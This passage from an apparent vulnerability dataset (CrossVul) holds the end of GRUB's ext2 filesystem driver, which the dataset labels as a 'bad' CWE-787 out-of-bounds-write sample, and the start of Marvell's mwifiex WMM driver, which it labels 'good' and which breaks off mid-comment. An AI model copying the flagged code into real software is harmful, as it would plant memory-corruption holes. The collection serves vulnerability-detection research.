FILE into BUF. */ static grub_ssize_t grub_ext2_read (grub_file_t file, char *buf, grub_size_t len) { struct grub_ext2_data *data = (struct grub_ext2_data *) file->data; return grub_ext2_read_file (&data->diropen, file->read_hook, file->closure, file->flags, file->offset, len, buf); } struct grub_ext2_dir_closure { int (*hook) (const char *filename, const struct grub_dirhook_info *info, void *closure); void *closure; struct grub_ext2_data *data; }; static int iterate (const char *filename, enum grub_fshelp_filetype filetype, grub_fshelp_node_t node, void *closure) { struct grub_ext2_dir_closure *c = closure; struct grub_dirhook_info info; grub_memset (&info, 0, sizeof (info)); if (! node->inode_read) { grub_ext2_read_inode (c->data, node->ino, &node->inode); if (!grub_errno) node->inode_read = 1; grub_errno = GRUB_ERR_NONE; } if (node->inode_read) { info.mtimeset = 1; info.mtime = grub_le_to_cpu32 (node->inode.mtime); } info.dir = ((filetype & GRUB_FSHELP_TYPE_MASK) == GRUB_FSHELP_DIR); grub_free (node); return (c->hook != NULL)? c->hook (filename, &info, c->closure): 0; } static grub_err_t grub_ext2_dir (grub_device_t device, const char *path, int (*hook) (const char *filename, const struct grub_dirhook_info *info, void *closure), void *closure) { struct grub_ext2_data *data = 0; struct grub_fshelp_node *fdiro = 0; struct grub_ext2_dir_closure c; grub_dl_ref (my_mod); data = grub_ext2_mount (device->disk); if (! data) goto fail; grub_fshelp_find_file (path, &data->diropen, &fdiro, grub_ext2_iterate_dir, 0, grub_ext2_read_symlink, GRUB_FSHELP_DIR); if (grub_errno) goto fail; c.hook = hook; c.closure = closure; c.data = data; grub_ext2_iterate_dir (fdiro, iterate, &c); fail: if (fdiro != &data->diropen) grub_free (fdiro); grub_free (data); grub_dl_unref (my_mod); return grub_errno; } static grub_err_t grub_ext2_label (grub_device_t device, char **label) { struct grub_ext2_data *data; grub_disk_t disk = device->disk; grub_dl_ref (my_mod); data = grub_ext2_mount (disk); if (data) *label = grub_strndup (data->sblock.volume_name, 14); else *label = NULL; grub_dl_unref (my_mod); grub_free (data); return grub_errno; } static grub_err_t grub_ext2_uuid (grub_device_t device, char **uuid) { struct grub_ext2_data *data; grub_disk_t disk = device->disk; grub_dl_ref (my_mod); data = grub_ext2_mount (disk); if (data) { *uuid = grub_xasprintf ("%04x%04x-%04x-%04x-%04x-%04x%04x%04x", grub_be_to_cpu16 (data->sblock.uuid[0]), grub_be_to_cpu16 (data->sblock.uuid[1]), grub_be_to_cpu16 (data->sblock.uuid[2]), grub_be_to_cpu16 (data->sblock.uuid[3]), grub_be_to_cpu16 (data->sblock.uuid[4]), grub_be_to_cpu16 (data->sblock.uuid[5]), grub_be_to_cpu16 (data->sblock.uuid[6]), grub_be_to_cpu16 (data->sblock.uuid[7])); } else *uuid = NULL; grub_dl_unref (my_mod); grub_free (data); return grub_errno; } /* Get mtime. */ static grub_err_t grub_ext2_mtime (grub_device_t device, grub_int32_t *tm) { struct grub_ext2_data *data; grub_disk_t disk = device->disk; grub_dl_ref (my_mod); data = grub_ext2_mount (disk); if (!data) *tm = 0; else *tm = grub_le_to_cpu32 (data->sblock.utime); grub_dl_unref (my_mod); grub_free (data); return grub_errno; } struct grub_fs grub_ext2_fs = { .name = "ext2", .dir = grub_ext2_dir, .open = grub_ext2_open, .read = grub_ext2_read, .close = grub_ext2_close, .label = grub_ext2_label, .uuid = grub_ext2_uuid, .mtime = grub_ext2_mtime, #ifdef GRUB_UTIL .reserved_first_sector = 1, #endif .next = 0 };
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3411_2
crossvul-cpp_data_good_4005_0
/* * Marvell Wireless LAN device driver: WMM * * Copyright (C) 2011-2014, Marvell International Ltd. * * This software file (the "File") is distributed by Marvell International * Ltd. under the terms of the GNU General Public License Version 2, June 1991 * (the "License"). You may use, redistribute and/or modify this File in * accordance with the terms and conditions of the License, a copy of which * is available by writing to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA or on the * worldwide web at http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. * * THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE * IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE * ARE EXPRESSLY DISCLAIMED. The License provides additional details about * this warranty disclaimer. */ #include "decl.h" #include "ioctl.h" #include "util.h" #include "fw.h" #include "main.h" #include "wmm.h" #include "11n.h" /* Maximum value FW can accept for driver delay in packet transmission */ #define DRV_PKT_DELAY_TO_FW_MAX 512 #define WMM_QUEUED_PACKET_LOWER_LIMIT 180 #define WMM_QUEUED_PACKET_UPPER_LIMIT 200 /* Offset for TOS field in the IP header */ #define IPTOS_OFFSET 5 static bool disable_tx_amsdu; module_param(disable_tx_amsdu, bool, 0644); /* WMM information IE */ static const u8 wmm_info_ie[] = { WLAN_EID_VENDOR_SPECIFIC, 0x07, 0x00, 0x50, 0xf2, 0x02, 0x00, 0x01, 0x00 }; static const u8 wmm_aci_to_qidx_map[] = { WMM_AC_BE, WMM_AC_BK, WMM_AC_VI, WMM_AC_VO }; static u8 tos_to_tid[] = { /* TID DSCP_P2 DSCP_P1 DSCP_P0 WMM_AC */ 0x01, /* 0 1 0 AC_BK */ 0x02, /* 0 0 0 AC_BK */ 0x00, /* 0 0 1 AC_BE */ 0x03, /* 0 1 1 AC_BE */ 0x04, /* 1 0 0 AC_VI */ 0x05, /* 1 0 1 AC_VI */ 0x06, /* 1 1 0 AC_VO */ 0x07 /* 1 1 1 AC_VO */ }; static u8 ac_to_tid[4][2] = { {1, 2}, {0, 3}, {4, 5}, {6, 7} }; /* * This function debug prints the priority parameters for a WMM AC. */ static void mwifiex_wmm_ac_debug_print(const struct ieee_types_wmm_ac_parameters *ac_param) { const char *ac_str[] = { "BK", "BE", "VI", "VO" }; pr_debug("info: WMM AC_%s: ACI=%d, ACM=%d, Aifsn=%d, " "EcwMin=%d, EcwMax=%d, TxopLimit=%d\n", ac_str[wmm_aci_to_qidx_map[(ac_param->aci_aifsn_bitmap & MWIFIEX_ACI) >> 5]], (ac_param->aci_aifsn_bitmap & MWIFIEX_ACI) >> 5, (ac_param->aci_aifsn_bitmap & MWIFIEX_ACM) >> 4, ac_param->aci_aifsn_bitmap & MWIFIEX_AIFSN, ac_param->ecw_bitmap & MWIFIEX_ECW_MIN, (ac_param->ecw_bitmap & MWIFIEX_ECW_MAX) >> 4, le16_to_cpu(ac_param->tx_op_limit)); } /* * This function allocates a route address list. * * The function also initializes the list with the provided RA. */ static struct mwifiex_ra_list_tbl * mwifiex_wmm_allocate_ralist_node(struct mwifiex_adapter *adapter, const u8 *ra) { struct mwifiex_ra_list_tbl *ra_list; ra_list = kzalloc(sizeof(struct mwifiex_ra_list_tbl), GFP_ATOMIC); if (!ra_list) return NULL; INIT_LIST_HEAD(&ra_list->list); skb_queue_head_init(&ra_list->skb_head); memcpy(ra_list->ra, ra, ETH_ALEN); ra_list->total_pkt_count = 0; mwifiex_dbg(adapter, INFO, "info: allocated ra_list %p\n", ra_list); return ra_list; } /* This function returns random no between 16 and 32 to be used as threshold * for no of packets after which BA setup is initiated. */ static u8 mwifiex_get_random_ba_threshold(void) { u64 ns; /* setup ba_packet_threshold here random number between * [BA_SETUP_PACKET_OFFSET, * BA_SETUP_PACKET_OFFSET+BA_SETUP_MAX_PACKET_THRESHOLD-1] */ ns = ktime_get_ns(); ns += (ns >> 32) + (ns >> 16); return ((u8)ns % BA_SETUP_MAX_PACKET_THRESHOLD) + BA_SETUP_PACKET_OFFSET; } /* * This function allocates and adds a RA list for all TIDs * with the given RA. */ void mwifiex_ralist_add(struct mwifiex_private *priv, const u8 *ra) { int i; struct mwifiex_ra_list_tbl *ra_list; struct mwifiex_adapter *adapter = priv->adapter; struct mwifiex_sta_node *node; for (i = 0; i < MAX_NUM_TID; ++i) { ra_list = mwifiex_wmm_allocate_ralist_node(adapter, ra); mwifiex_dbg(adapter, INFO, "info: created ra_list %p\n", ra_list); if (!ra_list) break; ra_list->is_11n_enabled = 0; ra_list->tdls_link = false; ra_list->ba_status = BA_SETUP_NONE; ra_list->amsdu_in_ampdu = false; if (!mwifiex_queuing_ra_based(priv)) { if (mwifiex_is_tdls_link_setup (mwifiex_get_tdls_link_status(priv, ra))) { ra_list->tdls_link = true; ra_list->is_11n_enabled = mwifiex_tdls_peer_11n_enabled(priv, ra); } else { ra_list->is_11n_enabled = IS_11N_ENABLED(priv); } } else { spin_lock_bh(&priv->sta_list_spinlock); node = mwifiex_get_sta_entry(priv, ra); if (node) ra_list->tx_paused = node->tx_pause; ra_list->is_11n_enabled = mwifiex_is_sta_11n_enabled(priv, node); if (ra_list->is_11n_enabled) ra_list->max_amsdu = node->max_amsdu; spin_unlock_bh(&priv->sta_list_spinlock); } mwifiex_dbg(adapter, DATA, "data: ralist %p: is_11n_enabled=%d\n", ra_list, ra_list->is_11n_enabled); if (ra_list->is_11n_enabled) { ra_list->ba_pkt_count = 0; ra_list->ba_packet_thr = mwifiex_get_random_ba_threshold(); } list_add_tail(&ra_list->list, &priv->wmm.tid_tbl_ptr[i].ra_list); } } /* * This function sets the WMM queue priorities to their default values. */ static void mwifiex_wmm_default_queue_priorities(struct mwifiex_private *priv) { /* Default queue priorities: VO->VI->BE->BK */ priv->wmm.queue_priority[0] = WMM_AC_VO; priv->wmm.queue_priority[1] = WMM_AC_VI; priv->wmm.queue_priority[2] = WMM_AC_BE; priv->wmm.queue_priority[3] = WMM_AC_BK; } /* * This function map ACs to TIDs. */ static void mwifiex_wmm_queue_priorities_tid(struct mwifiex_private *priv) { struct mwifiex_wmm_desc *wmm = &priv->wmm; u8 *queue_priority = wmm->queue_priority; int i; for (i = 0; i < 4; ++i) { tos_to_tid[7 - (i * 2)] = ac_to_tid[queue_priority[i]][1]; tos_to_tid[6 - (i * 2)] = ac_to_tid[queue_priority[i]][0]; } for (i = 0; i < MAX_NUM_TID; ++i) priv->tos_to_tid_inv[tos_to_tid[i]] = (u8)i; atomic_set(&wmm->highest_queued_prio, HIGH_PRIO_TID); } /* * This function initializes WMM priority queues. */ void mwifiex_wmm_setup_queue_priorities(struct mwifiex_private *priv, struct ieee_types_wmm_parameter *wmm_ie) { u16 cw_min, avg_back_off, tmp[4]; u32 i, j, num_ac; u8 ac_idx; if (!wmm_ie || !priv->wmm_enabled) { /* WMM is not enabled, just set the defaults and return */ mwifiex_wmm_default_queue_priorities(priv); return; } mwifiex_dbg(priv->adapter, INFO, "info: WMM Parameter IE: version=%d,\t" "qos_info Parameter Set Count=%d, Reserved=%#x\n", wmm_ie->version, wmm_ie->qos_info_bitmap & IEEE80211_WMM_IE_AP_QOSINFO_PARAM_SET_CNT_MASK, wmm_ie->reserved); for (num_ac = 0; num_ac < ARRAY_SIZE(wmm_ie->ac_params); num_ac++) { u8 ecw = wmm_ie->ac_params[num_ac].ecw_bitmap; u8 aci_aifsn = wmm_ie->ac_params[num_ac].aci_aifsn_bitmap; cw_min = (1 << (ecw & MWIFIEX_ECW_MIN)) - 1; avg_back_off = (cw_min >> 1) + (aci_aifsn & MWIFIEX_AIFSN); ac_idx = wmm_aci_to_qidx_map[(aci_aifsn & MWIFIEX_ACI) >> 5]; priv->wmm.queue_priority[ac_idx] = ac_idx; tmp[ac_idx] = avg_back_off; mwifiex_dbg(priv->adapter, INFO, "info: WMM: CWmax=%d CWmin=%d Avg Back-off=%d\n", (1 << ((ecw & MWIFIEX_ECW_MAX) >> 4)) - 1, cw_min, avg_back_off); mwifiex_wmm_ac_debug_print(&wmm_ie->ac_params[num_ac]); } /* Bubble sort */ for (i = 0; i < num_ac; i++) { for (j = 1; j < num_ac - i; j++) { if (tmp[j - 1] > tmp[j]) { swap(tmp[j - 1], tmp[j]); swap(priv->wmm.queue_priority[j - 1], priv->wmm.queue_priority[j]); } else if (tmp[j - 1] == tmp[j]) { if (priv->wmm.queue_priority[j - 1] < priv->wmm.queue_priority[j]) swap(priv->wmm.queue_priority[j - 1], priv->wmm.queue_priority[j]); } } } mwifiex_wmm_queue_priorities_tid(priv); } /* * This function evaluates whether or not an AC is to be downgraded. * * In case the AC is not enabled, the highest AC is returned that is * enabled and does not require admission control. */ static enum mwifiex_wmm_ac_e mwifiex_wmm_eval_downgrade_ac(struct mwifiex_private *priv, enum mwifiex_wmm_ac_e eval_ac) { int down_ac; enum mwifiex_wmm_ac_e ret_ac; struct mwifiex_wmm_ac_status *ac_status; ac_status = &priv->wmm.ac_status[eval_ac]; if (!ac_status->disabled) /* Okay to use this AC, its enabled */ return eval_ac; /* Setup a default return value of the lowest priority */ ret_ac = WMM_AC_BK; /* * Find the highest AC that is enabled and does not require * admission control. The spec disallows downgrading to an AC, * which is enabled due to a completed admission control. * Unadmitted traffic is not to be sent on an AC with admitted * traffic. */ for (down_ac = WMM_AC_BK; down_ac < eval_ac; down_ac++) { ac_status = &priv->wmm.ac_status[down_ac]; if (!ac_status->disabled && !ac_status->flow_required) /* AC is enabled and does not require admission control */ ret_ac = (enum mwifiex_wmm_ac_e) down_ac; } return ret_ac; } /* * This function downgrades WMM priority queue. */ void mwifiex_wmm_setup_ac_downgrade(struct mwifiex_private *priv) { int ac_val; mwifiex_dbg(priv->adapter, INFO, "info: WMM: AC Priorities:\t" "BK(0), BE(1), VI(2), VO(3)\n"); if (!priv->wmm_enabled) { /* WMM is not enabled, default priorities */ for (ac_val = WMM_AC_BK; ac_val <= WMM_AC_VO; ac_val++) priv->wmm.ac_down_graded_vals[ac_val] = (enum mwifiex_wmm_ac_e) ac_val; } else { for (ac_val = WMM_AC_BK; ac_val <= WMM_AC_VO; ac_val++) { priv->wmm.ac_down_graded_vals[ac_val] = mwifiex_wmm_eval_downgrade_ac(priv, (enum mwifiex_wmm_ac_e) ac_val); mwifiex_dbg(priv->adapter, INFO, "info: WMM: AC PRIO %d maps to %d\n", ac_val, priv->wmm.ac_down_graded_vals[ac_val]); } } } /* * This function converts the IP TOS field to an WMM AC * Queue assignment. */ static enum mwifiex_wmm_ac_e mwifiex_wmm_convert_tos_to_ac(struct mwifiex_adapter *adapter, u32 tos) { /* Map of TOS UP values to WMM AC */ static const enum mwifiex_wmm_ac_e tos_to_ac[] = { WMM_AC_BE, WMM_AC_BK, WMM_AC_BK, WMM_AC_BE, WMM_AC_VI, WMM_AC_VI, WMM_AC_VO, WMM_AC_VO }; if (tos >= ARRAY_SIZE(tos_to_ac)) return WMM_AC_BE; return tos_to_ac[tos]; } /* * This function evaluates a given TID and downgrades it to a lower * TID if the WMM Parameter IE received from the AP indicates that the * AP is disabled (due to call admission control (ACM bit). Mapping * of TID to AC is taken care of internally. */ u8 mwifiex_wmm_downgrade_tid(struct mwifiex_private *priv, u32 tid) { enum mwifiex_wmm_ac_e ac, ac_down; u8 new_tid; ac = mwifiex_wmm_convert_tos_to_ac(priv->adapter, tid); ac_down = priv->wmm.ac_down_graded_vals[ac]; /* Send the index to tid array, picking from the array will be * taken care by dequeuing function */ new_tid = ac_to_tid[ac_down][tid % 2]; return new_tid; } /* * This function initializes the WMM state information and the * WMM data path queues. */ void mwifiex_wmm_init(struct mwifiex_adapter *adapter) { int i, j; struct mwifiex_private *priv; for (j = 0; j < adapter->priv_num; ++j) { priv = adapter->priv[j]; if (!priv) continue; for (i = 0; i < MAX_NUM_TID; ++i) { if (!disable_tx_amsdu && adapter->tx_buf_size > MWIFIEX_TX_DATA_BUF_SIZE_2K) priv->aggr_prio_tbl[i].amsdu = priv->tos_to_tid_inv[i]; else priv->aggr_prio_tbl[i].amsdu = BA_STREAM_NOT_ALLOWED; priv->aggr_prio_tbl[i].ampdu_ap = priv->tos_to_tid_inv[i]; priv->aggr_prio_tbl[i].ampdu_user = priv->tos_to_tid_inv[i]; } priv->aggr_prio_tbl[6].amsdu = priv->aggr_prio_tbl[6].ampdu_ap = priv->aggr_prio_tbl[6].ampdu_user = BA_STREAM_NOT_ALLOWED; priv->aggr_prio_tbl[7].amsdu = priv->aggr_prio_tbl[7].ampdu_ap = priv->aggr_prio_tbl[7].ampdu_user = BA_STREAM_NOT_ALLOWED; mwifiex_set_ba_params(priv); mwifiex_reset_11n_rx_seq_num(priv); priv->wmm.drv_pkt_delay_max = MWIFIEX_WMM_DRV_DELAY_MAX; atomic_set(&priv->wmm.tx_pkts_queued, 0); atomic_set(&priv->wmm.highest_queued_prio, HIGH_PRIO_TID); } } int mwifiex_bypass_txlist_empty(struct mwifiex_adapter *adapter) { struct mwifiex_private *priv; int i; for (i = 0; i < adapter->priv_num; i++) { priv = adapter->priv[i]; if (!priv) continue; if (adapter->if_ops.is_port_ready && !adapter->if_ops.is_port_ready(priv)) continue; if (!skb_queue_empty(&priv->bypass_txq)) return false; } return true; } /* * This function checks if WMM Tx queue is empty. */ int mwifiex_wmm_lists_empty(struct mwifiex_adapter *adapter) { int i; struct mwifiex_private *priv; for (i = 0; i < adapter->priv_num; ++i) { priv = adapter->priv[i]; if (!priv) continue; if (!priv->port_open && (priv->bss_mode != NL80211_IFTYPE_ADHOC)) continue; if (adapter->if_ops.is_port_ready && !adapter->if_ops.is_port_ready(priv)) continue; if (atomic_read(&priv->wmm.tx_pkts_queued)) return false; } return true; } /* * This function deletes all packets in an RA list node. * * The packet sent completion callback handler are called with * status failure, after they are dequeued to ensure proper * cleanup. The RA list node itself is freed at the end. */ static void mwifiex_wmm_del_pkts_in_ralist_node(struct mwifiex_private *priv, struct mwifiex_ra_list_tbl *ra_list) { struct mwifiex_adapter *adapter = priv->adapter; struct sk_buff *skb, *tmp; skb_queue_walk_safe(&ra_list->skb_head, skb, tmp) { skb_unlink(skb, &ra_list->skb_head); mwifiex_write_data_complete(adapter, skb, 0, -1); } } /* * This function deletes all packets in an RA list. * * Each nodes in the RA list are freed individually first, and then * the RA list itself is freed. */ static void mwifiex_wmm_del_pkts_in_ralist(struct mwifiex_private *priv, struct list_head *ra_list_head) { struct mwifiex_ra_list_tbl *ra_list; list_for_each_entry(ra_list, ra_list_head, list) mwifiex_wmm_del_pkts_in_ralist_node(priv, ra_list); } /* * This function deletes all packets in all RA lists. */ static void mwifiex_wmm_cleanup_queues(struct mwifiex_private *priv) { int i; for (i = 0; i < MAX_NUM_TID; i++) mwifiex_wmm_del_pkts_in_ralist(priv, &priv->wmm.tid_tbl_ptr[i]. ra_list); atomic_set(&priv->wmm.tx_pkts_queued, 0); atomic_set(&priv->wmm.highest_queued_prio, HIGH_PRIO_TID); } /* * This function deletes all route addresses from all RA lists. */ static void mwifiex_wmm_delete_all_ralist(struct mwifiex_private *priv) { struct mwifiex_ra_list_tbl *ra_list, *tmp_node; int i; for (i = 0; i < MAX_NUM_TID; ++i) { mwifiex_dbg(priv->adapter, INFO, "info: ra_list: freeing buf for tid %d\n", i); list_for_each_entry_safe(ra_list, tmp_node, &priv->wmm.tid_tbl_ptr[i].ra_list, list) { list_del(&ra_list->list); kfree(ra_list); } INIT_LIST_HEAD(&priv->wmm.tid_tbl_ptr[i].ra_list); } } static int mwifiex_free_ack_frame(int id, void *p, void *data) { pr_warn("Have pending ack frames!\n"); kfree_skb(p); return 0; } /* * This function cleans up the Tx and Rx queues. * * Cleanup includes - * - All packets in RA lists * - All entries in Rx reorder table * - All entries in Tx BA stream table * - MPA buffer (if required) * - All RA lists */ void mwifiex_clean_txrx(struct mwifiex_private *priv) { struct sk_buff *skb, *tmp; mwifiex_11n_cleanup_reorder_tbl(priv); spin_lock_bh(&priv->wmm.ra_list_spinlock); mwifiex_wmm_cleanup_queues(priv); mwifiex_11n_delete_all_tx_ba_stream_tbl(priv); if (priv->adapter->if_ops.cleanup_mpa_buf) priv->adapter->if_ops.cleanup_mpa_buf(priv->adapter); mwifiex_wmm_delete_all_ralist(priv); memcpy(tos_to_tid, ac_to_tid, sizeof(tos_to_tid)); if (priv->adapter->if_ops.clean_pcie_ring && !test_bit(MWIFIEX_SURPRISE_REMOVED, &priv->adapter->work_flags)) priv->adapter->if_ops.clean_pcie_ring(priv->adapter); spin_unlock_bh(&priv->wmm.ra_list_spinlock); skb_queue_walk_safe(&priv->tdls_txq, skb, tmp) { skb_unlink(skb, &priv->tdls_txq); mwifiex_write_data_complete(priv->adapter, skb, 0, -1); } skb_queue_walk_safe(&priv->bypass_txq, skb, tmp) { skb_unlink(skb, &priv->bypass_txq); mwifiex_write_data_complete(priv->adapter, skb, 0, -1); } atomic_set(&priv->adapter->bypass_tx_pending, 0); idr_for_each(&priv->ack_status_frames, mwifiex_free_ack_frame, NULL); idr_destroy(&priv->ack_status_frames); } /* * This function retrieves a particular RA list node, matching with the * given TID and RA address. */ struct mwifiex_ra_list_tbl * mwifiex_wmm_get_ralist_node(struct mwifiex_private *priv, u8 tid, const u8 *ra_addr) { struct mwifiex_ra_list_tbl *ra_list; list_for_each_entry(ra_list, &priv->wmm.tid_tbl_ptr[tid].ra_list, list) { if (!memcmp(ra_list->ra, ra_addr, ETH_ALEN)) return ra_list; } return NULL; } void mwifiex_update_ralist_tx_pause(struct mwifiex_private *priv, u8 *mac, u8 tx_pause) { struct mwifiex_ra_list_tbl *ra_list; u32 pkt_cnt = 0, tx_pkts_queued; int i; spin_lock_bh(&priv->wmm.ra_list_spinlock); for (i = 0; i < MAX_NUM_TID; ++i) { ra_list = mwifiex_wmm_get_ralist_node(priv, i, mac); if (ra_list && ra_list->tx_paused != tx_pause) { pkt_cnt += ra_list->total_pkt_count; ra_list->tx_paused = tx_pause; if (tx_pause) priv->wmm.pkts_paused[i] += ra_list->total_pkt_count; else priv->wmm.pkts_paused[i] -= ra_list->total_pkt_count; } } if (pkt_cnt) { tx_pkts_queued = atomic_read(&priv->wmm.tx_pkts_queued); if (tx_pause) tx_pkts_queued -= pkt_cnt; else tx_pkts_queued += pkt_cnt; atomic_set(&priv->wmm.tx_pkts_queued, tx_pkts_queued); atomic_set(&priv->wmm.highest_queued_prio, HIGH_PRIO_TID); } spin_unlock_bh(&priv->wmm.ra_list_spinlock); } /* This function updates non-tdls peer ralist tx_pause while * tdls channel switching */ void mwifiex_update_ralist_tx_pause_in_tdls_cs(struct mwifiex_private *priv, u8 *mac, u8 tx_pause) { struct mwifiex_ra_list_tbl *ra_list; u32 pkt_cnt = 0, tx_pkts_queued; int i; spin_lock_bh(&priv->wmm.ra_list_spinlock); for (i = 0; i < MAX_NUM_TID; ++i) { list_for_each_entry(ra_list, &priv->wmm.tid_tbl_ptr[i].ra_list, list) { if (!memcmp(ra_list->ra, mac, ETH_ALEN)) continue; if (ra_list->tx_paused != tx_pause) { pkt_cnt += ra_list->total_pkt_count; ra_list->tx_paused = tx_pause; if (tx_pause) priv->wmm.pkts_paused[i] += ra_list->total_pkt_count; else priv->wmm.pkts_paused[i] -= ra_list->total_pkt_count; } } } if (pkt_cnt) { tx_pkts_queued = atomic_read(&priv->wmm.tx_pkts_queued); if (tx_pause) tx_pkts_queued -= pkt_cnt; else tx_pkts_queued += pkt_cnt; atomic_set(&priv->wmm.tx_pkts_queued, tx_pkts_queued); atomic_set(&priv->wmm.highest_queued_prio, HIGH_PRIO_TID); } spin_unlock_bh(&priv->wmm.ra_list_spinlock); } /* * This function retrieves an RA list node for a given TID and * RA address pair. * * If no such node is found, a new node is added first and then * retrieved. */ struct mwifiex_ra_list_tbl * mwifiex_wmm_get_queue_raptr(struct mwifiex_private *priv, u8 tid, const u8 *ra_addr) { struct mwifiex_ra_list_tbl *ra_list; ra_list = mwifiex_wmm_get_ralist_node(priv, tid, ra_addr); if (ra_list) return ra_list; mwifiex_ralist_add(priv, ra_addr); return mwifiex_wmm_get_ralist_node(priv, tid, ra_addr); } /* * This function deletes RA list nodes for given mac for all TIDs. * Function also decrements TX pending count accordingly. */ void mwifiex_wmm_del_peer_ra_list(struct mwifiex_private *priv, const u8 *ra_addr) { struct mwifiex_ra_list_tbl *ra_list; int i; spin_lock_bh(&priv->wmm.ra_list_spinlock); for (i = 0; i < MAX_NUM_TID; ++i) { ra_list = mwifiex_wmm_get_ralist_node(priv, i, ra_addr); if (!ra_list) continue; mwifiex_wmm_del_pkts_in_ralist_node(priv, ra_list); if (ra_list->tx_paused) priv->wmm.pkts_paused[i] -= ra_list->total_pkt_count; else atomic_sub(ra_list->total_pkt_count, &priv->wmm.tx_pkts_queued); list_del(&ra_list->list); kfree(ra_list); } spin_unlock_bh(&priv->wmm.ra_list_spinlock); } /* * This function checks if a particular RA list node exists in a given TID * table index. */ int mwifiex_is_ralist_valid(struct mwifiex_private *priv, struct mwifiex_ra_list_tbl *ra_list, int ptr_index) { struct mwifiex_ra_list_tbl *rlist; list_for_each_entry(rlist, &priv->wmm.tid_tbl_ptr[ptr_index].ra_list, list) { if (rlist == ra_list) return true; } return false; } /* * This function adds a packet to bypass TX queue. * This is special TX queue for packets which can be sent even when port_open * is false. */ void mwifiex_wmm_add_buf_bypass_txqueue(struct mwifiex_private *priv, struct sk_buff *skb) { skb_queue_tail(&priv->bypass_txq, skb); } /* * This function adds a packet to WMM queue. * * In disconnected state the packet is immediately dropped and the * packet send completion callback is called with status failure. * * Otherwise, the correct RA list node is located and the packet * is queued at the list tail. */ void mwifiex_wmm_add_buf_txqueue(struct mwifiex_private *priv, struct sk_buff *skb) { struct mwifiex_adapter *adapter = priv->adapter; u32 tid; struct mwifiex_ra_list_tbl *ra_list; u8 ra[ETH_ALEN], tid_down; struct list_head list_head; int tdls_status = TDLS_NOT_SETUP; struct ethhdr *eth_hdr = (struct ethhdr *)skb->data; struct mwifiex_txinfo *tx_info = MWIFIEX_SKB_TXCB(skb); memcpy(ra, eth_hdr->h_dest, ETH_ALEN); if (GET_BSS_ROLE(priv) == MWIFIEX_BSS_ROLE_STA && ISSUPP_TDLS_ENABLED(adapter->fw_cap_info)) { if (ntohs(eth_hdr->h_proto) == ETH_P_TDLS) mwifiex_dbg(adapter, DATA, "TDLS setup packet for %pM.\t" "Don't block\n", ra); else if (memcmp(priv->cfg_bssid, ra, ETH_ALEN)) tdls_status = mwifiex_get_tdls_link_status(priv, ra); } if (!priv->media_connected && !mwifiex_is_skb_mgmt_frame(skb)) { mwifiex_dbg(adapter, DATA, "data: drop packet in disconnect\n"); mwifiex_write_data_complete(adapter, skb, 0, -1); return; } tid = skb->priority; spin_lock_bh(&priv->wmm.ra_list_spinlock); tid_down = mwifiex_wmm_downgrade_tid(priv, tid); /* In case of infra as we have already created the list during association we just don't have to call get_queue_raptr, we will have only 1 raptr for a tid in case of infra */ if (!mwifiex_queuing_ra_based(priv) && !mwifiex_is_skb_mgmt_frame(skb)) { switch (tdls_status) { case TDLS_SETUP_COMPLETE: case TDLS_CHAN_SWITCHING: case TDLS_IN_BASE_CHAN: case TDLS_IN_OFF_CHAN: ra_list = mwifiex_wmm_get_queue_raptr(priv, tid_down, ra); tx_info->flags |= MWIFIEX_BUF_FLAG_TDLS_PKT; break; case TDLS_SETUP_INPROGRESS: skb_queue_tail(&priv->tdls_txq, skb); spin_unlock_bh(&priv->wmm.ra_list_spinlock); return; default: list_head = priv->wmm.tid_tbl_ptr[tid_down].ra_list; ra_list = list_first_entry_or_null(&list_head, struct mwifiex_ra_list_tbl, list); break; } } else { memcpy(ra, skb->data, ETH_ALEN); if (ra[0] & 0x01 || mwifiex_is_skb_mgmt_frame(skb)) eth_broadcast_addr(ra); ra_list = mwifiex_wmm_get_queue_raptr(priv, tid_down, ra); } if (!ra_list) { spin_unlock_bh(&priv->wmm.ra_list_spinlock); mwifiex_write_data_complete(adapter, skb, 0, -1); return; } skb_queue_tail(&ra_list->skb_head, skb); ra_list->ba_pkt_count++; ra_list->total_pkt_count++; if (atomic_read(&priv->wmm.highest_queued_prio) < priv->tos_to_tid_inv[tid_down]) atomic_set(&priv->wmm.highest_queued_prio, priv->tos_to_tid_inv[tid_down]); if (ra_list->tx_paused) priv->wmm.pkts_paused[tid_down]++; else atomic_inc(&priv->wmm.tx_pkts_queued); spin_unlock_bh(&priv->wmm.ra_list_spinlock); } /* * This function processes the get WMM status command response from firmware. * * The response may contain multiple TLVs - * - AC Queue status TLVs * - Current WMM Parameter IE TLV * - Admission Control action frame TLVs * * This function parses the TLVs and then calls further specific functions * to process any changes in the queue prioritize or state. */ int mwifiex_ret_wmm_get_status(struct mwifiex_private *priv, const struct host_cmd_ds_command *resp) { u8 *curr = (u8 *) &resp->params.get_wmm_status; uint16_t resp_len = le16_to_cpu(resp->size), tlv_len; int mask = IEEE80211_WMM_IE_AP_QOSINFO_PARAM_SET_CNT_MASK; bool valid = true; struct mwifiex_ie_types_data *tlv_hdr; struct mwifiex_ie_types_wmm_queue_status *tlv_wmm_qstatus; struct ieee_types_wmm_parameter *wmm_param_ie = NULL; struct mwifiex_wmm_ac_status *ac_status; mwifiex_dbg(priv->adapter, INFO, "info: WMM: WMM_GET_STATUS cmdresp received: %d\n", resp_len); while ((resp_len >= sizeof(tlv_hdr->header)) && valid) { tlv_hdr = (struct mwifiex_ie_types_data *) curr; tlv_len = le16_to_cpu(tlv_hdr->header.len); if (resp_len < tlv_len + sizeof(tlv_hdr->header)) break; switch (le16_to_cpu(tlv_hdr->header.type)) { case TLV_TYPE_WMMQSTATUS: tlv_wmm_qstatus = (struct mwifiex_ie_types_wmm_queue_status *) tlv_hdr; mwifiex_dbg(priv->adapter, CMD, "info: CMD_RESP: WMM_GET_STATUS:\t" "QSTATUS TLV: %d, %d, %d\n", tlv_wmm_qstatus->queue_index, tlv_wmm_qstatus->flow_required, tlv_wmm_qstatus->disabled); ac_status = &priv->wmm.ac_status[tlv_wmm_qstatus-> queue_index]; ac_status->disabled = tlv_wmm_qstatus->disabled; ac_status->flow_required = tlv_wmm_qstatus->flow_required; ac_status->flow_created = tlv_wmm_qstatus->flow_created; break; case WLAN_EID_VENDOR_SPECIFIC: /* * Point the regular IEEE IE 2 bytes into the Marvell 